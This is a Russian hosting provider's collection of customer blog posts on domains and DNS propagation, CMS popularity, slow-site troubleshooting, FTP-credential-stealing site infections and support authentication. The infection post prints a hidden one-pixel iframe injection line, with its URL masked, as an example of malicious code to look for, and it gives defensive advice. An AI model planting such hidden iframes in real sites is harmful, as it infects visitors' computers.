• Open source — открытый исходный код, т. е. разработчик размещает исходный код программы в свободном доступе или распространяет его вместе с дистрибутивом. Программу с открытым исходным кодом можно легко модифицировать под собственные нужды. Проекты с открытым исходным кодом могут быть как платными, так и бесплатными.
• SaaS — модель предоставления разработчиком продукта для использования без необходимости установки на собственный сервер. Разработчик самостоятельно устанавливает и поддерживает систему на своем сервере. Оплата совершается, как правило, на ежемесячной основе. Часто такие версии называются «On Demand» или «Hosted».
• Тикет (ticket) — заявка в системе поддержки пользователей, на основании которой производятся какие-либо работы.
• CRM — приложение для управления взаимодействием с клиентами, оценки и повышения его качества.
• SLA — соглашение об уровне предоставления услуг. Определяет качество предоставляемой услуги в количественных характеристиках и устанавливает ответственность поставщика услуги при нарушении согласованных значений качества.
• ITIL — стандарт, библиотека знаний, вобравшая в себя опыт предоставления услуг высокого качества в области ИТ, описывающая лучшие способы организации работы по предоставлению таких услуг. Аналогом ITIL является, например, MOF — переработанные Microsoft рекомендации ITIL, учитывающие собственный опыт компании Microsoft и ориентированные на системы, построенные на продуктах и технологиях Microsoft. Еще одним стандартом, разработанным для аналогичных целей, является CobiT.
• ITSM — составляющая ITIL, описывает процессы, связанные непосредственно с предоставлением и управлением услугами ИТ.

Для этого давайте посмотрим, как происходит процедура регистрации домена с самого начала.

Как устроена «доменная» кухня?

Права собственности на домен в техническом и юридическом плане регламентируют организации — администраторы доменных зон. Это, к примеру, ICANN (зоны .COM, .NET, .ORG, .BIZ, .INFO), IANA (зоны .US, .TV, .WS), Координационный центр национального домена (зоны .RU и .SU, .РФ) и т.д.

Непосредственно регистрацией доменов занимаются регистраторы доменных имен, которым администраторы делегировали право регистрации доменов, и которые имеют доступ в базу данных всех доменов (реестр, registry) для ее изменения.

У каждой доменной зоны, как правило, имеется несколько регистраторов: например, на сегодняшний день у доменной зоны .RU около 25 регистраторов, у доменных зон .COM, .NET, .ORG и т.д. — регистраторов несчетное количество. Регистраторы поддерживают базы данных зарегистрированных доменов, предоставляют доступ к этой базе через Whois и поддерживают корневые DNS-серверы с соответствующими NS-записями доменов.

Как происходит регистрация домена?

Регистрация домена начинается с заказа на сайте организации, предоставляющей такие услуги, (регистратора) — заполняется анкета, в которой указываются данные будущего владельца домена. Заказ может производиться разными способами — от ручного заполнения анкеты до автоматического программного взаимодействия.

Регистратор проверяет правильность составления заявки и, если все верно, производит делегирование домена — вносит запись о новом домене в реестр. В частности, эта запись содержит информацию об NS-серверах, на которых будет располагаться зона домена.

Время, через которое становится доступен в интернете новый домен, равняется сумме промежутков времени, которые последовательно занимает каждый из этапов регистрации:

• Время обработки заказа на регистрацию домена, то есть — момент от подачи заявки на регистрацию пользователем до становления домена на регистрацию. Это время зависит от настроек организации, через которую регистрируется домен, требующееся для формирования заказа время обычно исчисляется минутами.
• Собственно регистрация домена. Регистратор проверяет корректность заявки, для некоторых доменных зон (например, .SU, .RU, .РФ) статус домена меняется на «Зарегистрирован, не делегирован» (REGISTERED, NOT DELEGATED). То есть, этот домен уже не может быть зарегистрирован на данные другого лица. Эта процедура обычно также занимает время, исчисляющееся минутами.
• Делегирование домена. Регистратор вносит в реестр запись об NS-серверах, на которые будет делегирован домен, и меняет статус домена на «Зарегистрирован, делегирован» (REGISTERED, DELEGATED). Через какое-то время запись из реестра обновляется на корневых серверах, ответственных за зону домена верхнего уровня. Значит, некоторое время в информации о домене в общедоступной базе Whois может отображаться, что он зарегистрирован, но не делегирован. Длительность этой процедуры зависит от настроек регистратора домена и обычно составляет до 30 минут.
• Если к домену обращались до его регистрации, отрицательный ответ кэшируется на DNS-серверах интернет-провайдера, через которого происходило обращение. Пока не произойдет обновление кэша на этих DNS-серверах, при обращении к домену будет выдаваться информация о несуществующем домене, хотя из остальных мест, откуда «преждевременных» обращений не было, домен будет доступен. В этом случае остается только ждать, когда обновится информация в кэше DNS-сервера интернет-провайдера. Время обновления зависит от настроек DNS-сервера вашего интернет-провайдера и может составлять десятки часов.
• В операционной системе любого компьютера, подключенного к интернету, есть компонент под названием «резолвер» (resolver), отвечающий за разрешение доменных имен ресурсов, к которым происходит обращение из прикладных программ. Например, когда вы набираете в браузере доменное имя сайта, ваш браузер обращается за информацией о домене к резолверу операционной системы, а резолвер — к серверу DNS интернет-провайдера. Данные об отрицательном ответе при обращении к домену попадают и в кэш DNS резолвера операционной системы, и исчезают оттуда только спустя какое-то время. Величина этого времени может не учитываться, поскольку вы как владелец компьютера способны на него влиять (об этом позже).

Для наглядности регистрацию домена можно сравнить с процедурой получения паспорта.

Вот молодой человек приходит в паспортный стол (организация, регистрирующая домен), подает заявку на получение паспорта (на регистрацию домена). Затем он ждет некоторое время, пока проверяются его данные. Если все верно, паспорт уходит на оформление. После процедуры оформления данные о паспорте вносятся в различные реестры государственных организаций. Прописывается, что именно такой паспорт принадлежит данному конкретному человеку. Разумеется, это занимает некоторое количество времени. После всего этого человек приходит за своим паспортом и забирает его в пользование.

Обновление кэша DNS можно сравнить с ситуацией, когда человек, подавший заявление на получение паспорта, в тот же день идет в банк за кредитом, и получает отказ, поскольку информации о его паспорте в отделении банка не имеется. Человеку придется ждать «обновления кэша» — повторить попытку после того, как информация о его паспорте попадет в банк установленным образом.

Как происходит перенос домена?

Перенос домена (правильнее называть этот процесс переделегированием: не следует путать этот процесс с переносом домена от одного регистратора к другому) начинается с заявки на смену списка NS-серверов. Обычно заявка подается на сайте регистратора (в панели управления) путем указания новых адресов NS-серверов, на которые нужно произвести переделегирование домена.

Время внесения изменений в реестр зависит от настроек регистратора и обычно составляет не более 30 минут.

А вот после этого и начинается процедура, которая обычно вызывает максимум непонимания и даже негатива, и может занимать до нескольких суток: на DNS-серверах интернет-провайдеров, через которых осуществлялись обращения к переносимому домену, закэшировалась не актуальная более информация о старых значениях записей его зоны.

Чтобы понять, отчего зависит такая инертность серверов DNS интернет-провайдеров, сделаем небольшое техническое отступление и рассмотрим информацию о домене, хранящуюся на NS-серверах, на которые он делегирован.

Информация о домене, хранящаяся на NS-серверах, имеет унифицированную структуру и содержит стандартные параметры вне зависимости от типа домена. Нас же интересует параметр, называемый TTL (Time to live, время жизни). Этот параметр задает время актуальности данных при кешировании запросов (в секундах). Именно на значение этого параметра ориентируются DNS-серверы интернет-провайдеров, когда принимают решение — отдать в ответ на запрос старую информацию или обратиться к NS-серверам домена и запросить новую.

Величина времени жизни целиком и полностью зависит от воли администратора NS-сервера домена. Выбирая ее, администратор руководствуется различными соображениями, и самое распространенное из этих соображений — как бы минимизировать количество обращений к его NS-серверам. Понятно, что чем большее значение TTL выставит администратор, тем реже DNS-серверы интернет-провайдеров будут обращаться к его NS-серверам, кэшируя полученные ранее данные о домене и отдавая их конечным пользователям. В процессе переноса домена этот момент играет строго негативную роль: все клиенты интернет-провайдера, DNS-сервер которого закэшировал информацию о переносимом домене, будут получать устаревшую информацию в течение времени, не менее того, что было указано в TTL зоны переносимого домена на старых NS-серверах. Например, если TTL было равно 86400, актуализация данных о переносимом домене затянется минимум на сутки.

Из описанного следует два вывода:

• Когда пройдет время, превышающее TTL зоны со старых NS-серверов домена, DNS-сервер интернет-провайдера обратится к корневым серверам домена верхнего уровня, узнает адреса новых NS-серверов для домена, обратится к новым NS-серверам и актуализирует информацию о перенесенном домене.
• Распространение изменений информации о домене в интернете (его еще называют «обновлением зоны домена») — это асинхронный и неконтролируемый процесс: его скорость зависит от настроек предыдущих NS-серверов домена и состояния DNS-серверов каждого конкретного провайдера интернет. Соответственно, этим процессом невозможно управлять, а также невозможно точно предсказать момент его завершения.

Таким образом, вместо негодования и обвинений в адрес нового хостинг-провайдера, к которому вы переносите ваш домен, разумно запастись терпением после смены списка NS-серверов домена, а лучше — последовать приведенным далее рекомендациям по уменьшению времени бездействия вашего домена.

Для наглядности процесс переделегирования домена можно сравнить с процедурой замены уже упомянутого паспорта.

Вот уже немолодой человек приходит в паспортный стол (в панель регистриратора) и подает заявку на замену паспорта (на переделегирование домена). Затем он ждет некоторое время, пока проверяются его данные. Если все верно, ему выдают новый паспорт, а данные о новом паспорте «расползаются» в различные реестры государственных организаций. Разумеется, это занимает некоторое количество времени и, в отличие от предыдущего примера, часто сопровождается всевозможными организационными накладками: где-то информация может не измениться, где-то изменится, но очень небыстро, и т.д. Как результат, владелец нового паспорта, придя в банк за кредитом даже через месяц после смены паспорта, рискует получить отказ, поскольку информация о его новом паспорте в отделении банка может отсутствовать. И человеку таки придется ждать «обновления кэша» — повторить попытку после того, как информация о его новом паспорте попадет в банк установленным образом.

Что можно сделать для ускорения процесса?

Как вы могли уже заметить, основной проблемой, вызывающей длительное ожидание работоспособности домена, является кэширование неверной или устаревшей информации о домене. Естественно, возникает вопрос — а можно ли что-нибудь предпринять для сокращения времени неработоспособности домена?

При регистрации нового домена не имеет смысла говорить о каких бы то ни было специальных мерах: важно просто не проявлять нетерпения и добровольно подождать хотя бы час с момента заказа регистрации домена, и дождаться, когда домен будет делегирован «естественным» образом.

Зато при переносе домена имеет смысл предпринять ряд мер, которые действительно помогут реально сократить время неработоспособности домена.

• Можно попробовать связаться с администратором NS-серверов, на которые делегирован домен, и попросить его изменить значение TTL для записей зоны на минимальное. Сделать это нужно не позднее чем за время, указанное в TTL зоны текущих NS-серверов домена.
• Перед сменой списка NS-серверов для домена не поленитесь воспользоваться утилитой nslookup и убедиться, что на новых NS-серверах уже размещена зона вашего домена и она содержит корректные записи (A, MX, прочие).
• Убедившись в корректности зоны вашего домена на новых NS-серверах, можно вносить изменение в список NS-серверов, на которые делегирован домен. Многие регистраторы предлагают при этом автоматически произвести действие, которое обычно называется «тестированием зоны домена». Суть его сводится к действиям, похожим на предыдущий совет, но мы рекомендовали бы воздержаться от него, поскольку нередки случаи, когда из-за сетевых проблем (проблем связности сетей) это автоматическое тестирование завершается ошибкой даже при корректно сконфигурированной зоне. Пока вы будете решать, в чем проблема — вы потеряете время.
• Изменив список NS-серверов для вашего домена, воздержитесь от обращения к нему по крайней мере в течение времени, не меньшего чем текущее значение TTL для его зоны на предыдущих NS-серверах. Помните, что ответ, содержащий устаревшие данные о вашем домене, закэшировавшийся на сервере DNS вашего провайдера — это основной виновник «недоступности» вашего домена, и помочь с минимизацией негативного воздействия кэширования вам может только администратор DNS-серверов вашего интернет-провайдера. Если в процессе переноса вам необходимо будет совершать действия с сайтом на новом месте размещения, поинтересуйтесь у нового хостинг-првайдера, имеются ли у него служебные доменные имена для обращения к сайтам (например, технические псевдонимы).
• Решение проблемы локального кэширования, в отличие от кэширования на DNS-сервере провайдера, можно ускорить, очистив кэш резолвера принудительно — благо, вы можете сделать это самостоятельно. Например, в операционных системах семейства MS Windows кэш резолвера очищается с помощью консольной команды:

ipconfig /flushdns

Универсальным средством очистки локального кэша DNS является перезагрузка компьютера.

Надеемся, вы обрели ясность во всех вопросах, касающихся операций с доменами, а приведенные нами советы помогут вам минимизировать время неработоспособности ваших сайтов и почты.

Итак, о популярности.

Данные о количестве автоматических установок предлагаемых нами бесплатных скриптов, честно говоря, оказались несколько неожиданными.

На первом месте по количеству установок, с недосягаемым для остальных CMS отрывом, находится Joomla. В чем причина такой популярности — загадка.

На втором месте оказался замечательный «движок» WordPress (к слову, на этой CMS сделан и наш блог). Однако доля установок WP в два раза меньше чем у Joomla: это серьезный отрыв.

Третье место досталось системе управления содержимым Drupal: количество ее установок отличается от показателей лидера нашего рейтинга на порядок.

Количество установок прочих CMS не идет с «лидерами» ни в какое сравнение: доля как бесплатных CMS (MODx, Joostina, Textpattern, LiveStreet), так и бесплатных версий коммерческих CMS (UMI.CMS, HostCMS, ABO.CMS) — ничтожна. И если для бесплатных версий коммерческих CMS этот факт достаточно правдоподобно объясняется сильно урезанным функционалом предложенных дистрибутивов, то для бесплатных CMS разумные объяснения выглядят совсем неутешительно: если пользователь их игнорирует, уместно будет предположить, что разработчики этих систем управления сайтами делают что-то совсем не так.

В любом случае, мы рады, что у клиентов нашего хостинга имеется такой широкий выбор программных средств, которые могут быть установлены автоматически из Панели управления услугами «в один клик»: каждый может использовать средство разработки по душе, будучи уверенным в том, что выбранная CMS наиболее подходит для решения поставленной задачи!

Спасибо, что вы являетесь нашим клиентом! Спасибо вам, даже если вы не являетесь нашим клиентом — внимание всегда приятно! Спасибо всем вам!

С днем рождения нас! Ура!

Кто виноват?

Большинство начинающих вебмастеров, опыт которых не позволяет отследить причинно-следственные связи между собственными действиями и текущим состоянием сайта, обычно винят во всем своего хостинг-провайдера. Справедливости ради стоит сказать, что иногда они оказываются правы, и после обращения в службу технической поддержки проблемы в работе сайта устраняются. В большинстве же случаев причину приходится искать в самом сайте. Таким образом, если хостер утверждает, что у него все в порядке, скорее всего, виноват разработчик сайта, то есть, Вы сами. Попробуем поискать проблему.

В чем проблема?

Прежде всего необходимо выяснить, не произошло ли резкое увеличение посещаемости вашего сайта. Такой, казалось бы, очевидный момент нередко выходит из поля зрения вебмастера. С одной стороны, событие это весьма приятное (какой же вебмастер не жаждет видеть посетителей на своем сайте?!), однако не всегда выбранный вебмастером хостинг или тарифный план позволяет «прокачать» через сайт скачкообразно возросший трафик. В большинстве случаев хостинг-провайдер предложит вам перейти на более дорогой тарифный план или вообще съехать на выделенный сервер (VDS или dedicared), который, как Вы понимаете, настраивать придется самостоятельно, а для этого нужна совсем другая квалификация. Итак —

Если увеличилась посещаемость

Если ваш хостинг-провайдер использует nginx, часть статической нагрузки (так называемая «статика» — картинки, CSS, JavaScript) может отдаваться им. Уточните у своего хостинг-провайдера, каким образом можно оптимизировать отдачу статики на вашем сайте.

Оптимизировать отдачу статики стоит в любом случае — это высвободит ресурсы для работы скриптов, оптимизация работы которых делается иначе.

Если вы используете на своем сайте какую-либо из популярных CMS, обратитесь к документации по ней и постарайтесь выяснить, не является ли рекомендованным (или даже обязательным) использование акселераторов PHP и кеширующих код модулей (eAccelerator, XCache, memcached). Убедитесь, что эти инструменты доступны у вашего хостинг-провайдера и проверьте, использует ли их ваш сайт. В отдельных случаях можно значительно ускорить работу сайта и повысить его устойчивость к высоким нагрузкам только за счет этих инструментов!

Не стоит пренебрегать и встроенными в CMS возможностями по кешированию контента: как правило, во всех современных CMS такие возможности имеются и неплохо работают.

Дальнейшая оптимизация требует навыков работы с языками программирования и базами данных, и если вы не компетентны в данном вопросе, рекомендуем вам обратиться к специалисту.

Если посещаемость не изменялась

Для начала попробуйте вспомнить, не производили ли вы в последнее время каких-то изменений со своим сайтом — добавляли/устанавливали модули, расширения (plugins), коды бирж ссылок/статей и «партнерок» и т.п. Как правило, внезапные «тормоза» сайтов связаны именно с подобными изменениями. Попробуйте отключить эти модули на время и проверьте, не изменилась ли скорость работы сайта.

Иногда случается, что проверенный код, исправно работавший несколько месяцев, вдруг начинает работать медленно или перестает работать вовсе. Чаще всего причиной этого является обращение к внешним источникам данных при отрисовки страницы. Рассмотрим подробнее.

Внешние вызовы PHP

Получение кода информеров, курсов валют, ссылок с бирж и т.п. часто сопровождается включением в ваш проект стороннего кода. Использование функций file_get_contents(), file(), include(), require(), fopen() и подобных для получения данных со сторонних сайтов приводит к тому, что в случае отсутствия связи между вашим сайтом и сайтом-ресурсом (например, по причине неработы сайта-ресурса или из-за потери связанности сети) скрипт будет ожидать соединение длительное время, и все это время страница вашего сайта или будет отображаться частично, или не будет отображаться вовсе. Более того, в такой ситуации выделенные хостинг-провайдером вашему аккаунту обработчики веб-сервера быстро заканчиваются, и сайт перестает отвечать на запросы в принципе — в лучшем случае при обращении к нему вы увидите ошибку 502 или 503.

Поищите в коде своих страниц обращения к внешним ресурсам и попробуйте отключить их на время. Если работа сайта при этом нормализуется, рекомендуем заменить такие обращения на получение данных из локальной копии, которую можно обновлять по расписанию (cron) с помощью внешних вызовов с ограничением времени выполнения скрипта до какой-то разумной величины — скажем, 30 секунд вполне достаточно, чтобы получить практически любой внешний ресурс.

Внешние включения CSS/JavaScript

В этом случае при недоступности внешнего ресурса вы получите ограниченный функционал страницы сайта и испорченный дизайн. Если это ресурсы не динамические, попробуйте сделать их локальные копии и обращаться к ним.

Бывают ситуации, когда ограниченный функционал вебмастер замечает не сразу, а лишь через некоторое время: например, неправильная установка мониторинга от Яндекс.Метрики — сразу ошибку можно и не заметить.

Во избежание ошибок проверьте, что все внешние включения загружаются корректно. Сделать это можно с помощью следующих инструментов:

Mozilla Firefox + плагин Firebug

На вкладке «Сеть» (Network) этого плагина можно диагностировать всю последовательность загрузки элементов страницы и определить, какие из элементов не загрузились: проблемные элементы подсвечиваются красным цветом.

Инструменты разработчика Google Chrome

Кликните правой кнопкой мыши на странице и выберите «Проверить элемент» (или нажмите Ctrl+Shift+I). Выберите вкладку «Resources» и включите отслеживание (по умолчанию отслеживание отключено). Теперь при обращении к странице вы сможете увидеть последовательность загрузки различных ее элементов и диагностировать проблему.

Инструменты разработчика MS Internet Explorer 8

К сожалению, на момент написания данной статьи функционал, подобный описанному выше, в браузере MS Internet Explorer отсутсвтует.

Синхронные вызовы JavaScript

Иногда случается, что на странице сайта используются синхронные вызовы JavaScript, которым необходимо дождаться полной загрузки страницы и затем продолжить работу. Как вы уже, наверное, догадались, в этом случае посетитель сайта не увидит страницу, пока все необходимые скрипты не будут загружены. Как правило, в строке статуса браузера (Status bar) можно увидеть, доступ к какому ресурсу затруднен. Если сделать этого не удается, можно воспользоваться теми же инструментами, что и в предыдущем пункте.

Предупрежден — значит вооружен!

Как видите, основных причин возникновения проблем со скоростью загрузки страниц достаточно немного. Более того, вполне посильной задачей является предупреждение возникновения этих ситуаций: хорошо продуманный, тщательно спроектированный и аккуратно реализованный сайт, размещенный на качественной технической площадке, развитие которого постоянно отслеживается разработчиком, не станет ни жертвой внезапно возросшей посещаемости, ни заложником недоступных внешних ресурсов. Желаем вашим проектам работать быстро и без ошибок!

Наверняка приходилось, и не раз. И вдруг однажды вы наблюдаете подобную ситуацию при попытке зайти на ваш собственный сайт.

Что, собственно, происходит?

Ваш сайт заражен вирусом.

Как это работает?

Если присмотреться к исходному коду зараженной страницы вашего сайта, можно без труда обнаружить код, который вы явно туда не добавляли. Выглядеть он будет примерно так:

<iframe src=»http://**********» width=1 height=1 style=»visibility:hidden;position:absolute»></iframe>

Этот код является замаскированной, невидимой при просмотре страниц ссылкой на скачивание вируса, работающего по принципу троянского коня.

Попадая на ваш компьютер, «троянец» начинает систематично «коллекционировать» данные для входа на аккаунты FTP, которые вы храните в настройках ваших FTP-клиентов — Проводника MS Windows, CuteFTP, Total Commander, пр.

Получив данные для входа, вирус соединяется с этими аккаунтами и начинает искать индексные файлы размещаемых сайтов — index.htm, index.html, index.php, default.html и прочие. В найденные файлы он дописывает строку, которую вы видите выше — то есть, ссылку на скачивание самого себя. Так замыкается порочный круг распространения вируса: теперь все посетители вашего сайта, заходящие на главную его страницу, рискуют заразиться.

И кто же виноват? Мой хостинг-провайдер?

Нет, ваш хостинг-провайдер не виноват. Виноваты — вы.

Да почему же я-то виноват? Ведь мой хостинг взломали!

Фокус в том, что ваш хостинг никто не ломал. Вирус распространяется, совершая заход на ваш хостинговый аккаунт под совершенно легально созданной учетной записью, данные которой он находит сохраненными в ваших FTP-клиентах.

Как-то не верится, что взлома не было!

В отдельных случаях взлом таки бывает. Правда, взламывают не аккаунт хостинга: заражение сайта происходит через уязвимость в скриптах системы управления вашим сайтом (CMS) или ее расширений. Однако и в этом случае вины хостинг-провайдера нет: на уязвимости в размещаемых на его серверах сайтах он никак влиять не может. Своевременное обновление версии используемого вами программного обеспечения — это исключительно ваша забота.

И что теперь делать?

Как и при заражении любым другим вирусом — лечиться.

Первым делом необходимо установить на ваш компьютер хороший антивирус с самой новой вирусной базой. Проверьте ваш компьютер как следует: наверняка антивирус найдет много вещей, которые вас неприятно удивят.

По завершении проверки, убедившись, что ваш компьютер «чист», смените пароли на всех ваших аккаунтах FTP, и сделайте так, чтобы новый пароль не сохранялся в ваших FTP-клиентах!

Загрузите на сервер резервную копию вашего сайта, убедившись предварительно, что файлы в ней не заражены вирусом. Если локальной копии сайта у вас не имеется, обратитесь к хостинг-провайдеру с просьбой такую копию предоставить: если вы заметили изменения в вашем сайте оперативно, незараженная копия у вашего хостера наверняка имеется.

Обновите вашу CMS и используемые в ней расширения (plugins). Удалите расширения, назначения которых вы не знаете, или историю появления которых вы не можете вспомнить.

Если же вы заметили проблему не сразу, а по прошествии значительного времени, и ни у вас, ни у хостинг-провайдера уже нет незараженной копии вашего сайта, сайт нужно «лечить» — тщательно искать все вхождения вредоносного кода и руками их удалять. У некоторых хостинг-провайдеров есть специально написанный скрипт для автоматизции этой процедуры: обратитесь в службу поддержки, скорее всего, вам помогут.

А можно как-нибудь избежать заражения?

Можно основательно минимизировать риск заражения, если соблюсти ряд несложных условий:

• Не пренебрегайте антивирусами.
• Ежедневно обновляйте антивирусные базы.
• Не сохраняйте пароли в программах, которые вы используете для работы с FTP: вводите пароль руками при каждом новом заходе!
• Убедитесь, что ваш хостинг-провайдер осуществляет регулярное резервное копирование вашего сайта и сохраняет копии за несколько последних дней.
• Не ленитесь не реже одного раза в месяц скачивать на локальный компьютер резервную копию вашего сайта.
• Обновляйте используемую вами CMS, используйте только актуальные версии.
• Обновляйте используемые вами расширения для CMS.
• Не используйте расширения и скрипты, взятые из непроверенных источников.
• Ограничьте список IP-адресов, с которых разрешено соединяться с вашим аккаунтом FTP.

Для этого создайте в домашней директории (директории самого верхнего уровня на вашем аккаунте) файл .ftpaccess следующего вида:

<Limit ALL>
Allow from 127.0.0.1
Deny from all
</Limit>

Вместо 127.0.0.1 укажите IP-адрес (или список адресов), с которого Вы работаете с вашим аккаунтом FTP. Ваш IP-адрес вы можете узнать, воспользовавшись, например, вот этим сервисом.

Как видите, уберечься от угрозы абсолютно не сложно. Желаем вашим сайтам «здоровья», а вам — спокойствия!

Лорд звонит ночью из клуба домой:
— Джеймс?
— Слушаю, сэр.
— Как у нас дома?
— Все в порядке, сэр.
— А что делает моя жена?
— Она в своей комнате, сэр.
— Джеймс, передай моей жене, что я задержусь в клубе.
— Сэр, я передал, но ваш голос из–за двери сказал мне, что я спятил, и приказал убираться прочь.
— Джеймс, возьмите из ящика моего стола пистолет и убейте этого мужчину.
— Слушаюсь, сэр, я не кладу трубку.
Лорд слышит шаги дворецкого, скрип двери, топот ног, выстрел, а затем голос слуги:
— Сэр, я выполнил вашу просьбу. Он пытался бежать через наш зимний сад, но я догнал его и застрелил.
— Джеймс, но… у нас в доме нет зимнего сада!
— Простите, сэр, какой номер телефона вы набрали?

В чем ошибка дворецкого?

В этой безумно печальной истории ошибка дворецкого Джеймса заключалась в том, что он приступил к выполнению полученной просьбы без проведения аутентификации заявителя, что недопустимо.

Некоторые пользователи хостинга недоумевают и даже сердятся, когда сотрудники службы технической поддержки или клиентской службы отказываются удовлетворять просьбы, сформулированные по телефону или в чате поддержки. Правомерно ли это возмущение?

Согласитесь, вы были бы крайне удивлены, обнаружив, что с вашего аккаунта удален один из сайтов, домен второго сайта перенесен на непонятные NS-серверы, а почта третьего сайта направлена на Google Mail? Поинтересовавшись у техподдержки, с какой стати все это сделано, вы получите ответ: «Как же? Вы же сами звонили и просили все это сделать! А еще вы просили дополнительных услуг на 800 рублей, а еще…»

Как избежать фатальных неожиданностей?

Избежать такого рода неожиданностей абсолютно несложно: излагайте просьбы, требующие внесение изменений в пользовательские данные, только тем способом, который позволяет сотрудникам служб хостинг-провайдера однозначно идентифицировать вас как клиента и владельца конкретного аккаунта. Как правило, это значит обращение по электронной почте с адреса, указанного контактным при регистрации аккаунта.

Даже если просьба будет сформулирована иным способом, во избежание недоразумений вашей просьбой не начнут заниматься, пока вы таки не сформулируете ее в письме и не подтвердите свое право на аккаунт. В связи с этим для ускорения решения вашей проблемы сообщайте о ней сразу по почте. Не нужно забывать: это небольшое неудобство реализовано исключительно для вашего блага!

А зачем же тогда телефон и чат?

Эти способы связи очень удобны, когда вам требуется задать короткие вопросы, вызванные непониманием тех или иных моментов использования услуг, в случаях, когда знакомство с инструкциями и списком часто задаваемых вопросов не помогло. Мы всегда рады ответить на ваши вопросы, обращайтесь!